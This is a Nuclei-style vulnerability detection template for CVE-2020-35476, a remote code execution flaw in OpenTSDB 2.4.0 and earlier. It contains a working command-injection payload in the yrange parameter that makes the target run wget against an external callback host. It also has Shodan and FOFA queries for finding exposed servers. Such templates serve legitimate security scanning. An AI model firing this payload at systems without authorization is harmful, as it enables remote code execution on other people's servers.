59 lines
2.1 KiB
YAML
59 lines
2.1 KiB
YAML
id: CVE-2020-35476
|
|
|
|
info:
|
|
name: OpenTSDB <=2.4.0 - Remote Code Execution
|
|
author: pikpikcu
|
|
severity: critical
|
|
description: |
|
|
OpenTSDB 2.4.0 and earlier is susceptible to remote code execution via the yrange parameter written to a gnuplot file in the /tmp directory. An attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.
|
|
impact: |
|
|
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
|
|
remediation: |
|
|
Upgrade OpenTSDB to a version higher than 2.4.0 to mitigate this vulnerability.
|
|
reference:
|
|
- https://github.com/OpenTSDB/opentsdb/issues/2051
|
|
- http://packetstormsecurity.com/files/170331/OpenTSDB-2.4.0-Command-Injection.html
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2020-35476
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
|
cvss-score: 9.8
|
|
cve-id: CVE-2020-35476
|
|
cwe-id: CWE-78
|
|
epss-score: 0.95741
|
|
epss-percentile: 0.99293
|
|
cpe: cpe:2.3:a:opentsdb:opentsdb:*:*:*:*:*:*:*:*
|
|
metadata:
|
|
verified: true
|
|
max-request: 1
|
|
vendor: opentsdb
|
|
product: opentsdb
|
|
shodan-query:
|
|
- html:"OpenTSDB"
|
|
- http.html:"opentsdb"
|
|
fofa-query: body="opentsdb"
|
|
tags: cve,cve2020,opentsdb,rce,packetstorm
|
|
|
|
http:
|
|
- method: GET
|
|
path:
|
|
- "{{BaseURL}}/q?start=2000/10/21-00:00:00&end=2020/10/25-15:56:44&m=sum:sys.cpu.nice&o=&ylabel=&xrange=10:10&yrange=[33:system(%27wget%20http://{{interactsh-url}}%27)]&wxh=1516x644&style=linespoint&baba=lala&grid=t&json"
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: body
|
|
words:
|
|
- plotted
|
|
- timing
|
|
- cachehit
|
|
condition: and
|
|
|
|
- type: word
|
|
part: header
|
|
words:
|
|
- application/json
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
# digest: 4a0a00473045022100fdb109b607889bf590586e486c0e498d2668476d2c09695b3e2947540b14db8702202840af665dd3c58d0d965dd7dd956ad206372545f4313295757071d7f05b60c8:922c64590222798bb761d5b6d8e72950 |